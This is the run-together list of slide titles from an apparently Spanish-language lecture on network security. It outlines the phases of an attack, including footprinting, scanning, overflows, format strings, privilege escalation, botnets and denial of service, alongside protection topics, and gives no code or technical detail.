    Criptografa y Seguridad en RedesLa carrera por la supervivenciaLa carrera por la supervivenciaLa carrera por la supervivenciaDe qu velocidad estamos hablando?Qu pretendemos?Punto de vista del atacante expertoFases de un ataque modeloFases de un ataque modeloFases de un ataqueReconocimientoReconocimientoFootprintingFootprinting. TcnicasFootprinting. TcnicasFootprinting. TcnicasFootprinting. TcnicasFootprinting. TcnicasProteccin contra FootprintingScanningScanningProteccin contra scanningEnumeracinEnumeracinEnumeracinProteccin de EnumeracinVulnerability mappingFases de un ataqueAcceso remotoAtaques de fuerza brutaAtaques basados en datosErrores de validacin de entradaErrores de validacin de entradaBuffer OverflowsStack-based OverflowsStack-based Overflows. EjemploStack-based OverflowsAtaques basados en datosObtencin de shellsObtencin de shellsObtencin de shellsObtencin de shellsObtencin de shellsObtencin de shellsObtencin de shellsFases de un ataqueEscalada de PrivilegiosEscalada de PrivilegiosEscalada de PrivilegiosEscalada de PrivilegiosHeap / BSS Overflow. EjemplosHeap / BSS Overflow. EjemplosHeap / BSS Overflow. EjemplosHeap / BSS Overflow. EjemplosCondiciones de carreraCondiciones de carreraCadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Integer overflowsInteger overflowsInteger overflowsMecanismos de seguridadUna vez dentroUna vez dentro...Una vez dentro...Una vez dentro...Una vez dentro...Una vez dentro...El eslabn ms dbil: El usuarioSuplantacin de identidadSuplantacin de identidadEjecucin de cdigo maliciosoEjecucin de cdigo maliciosoEjecucin de cdigo maliciosoEjecucin de cdigo maliciosoBotnetsBotnetsDenegacin de Servicio (DoS)Tipos de ataques DoSConclusionesReferencias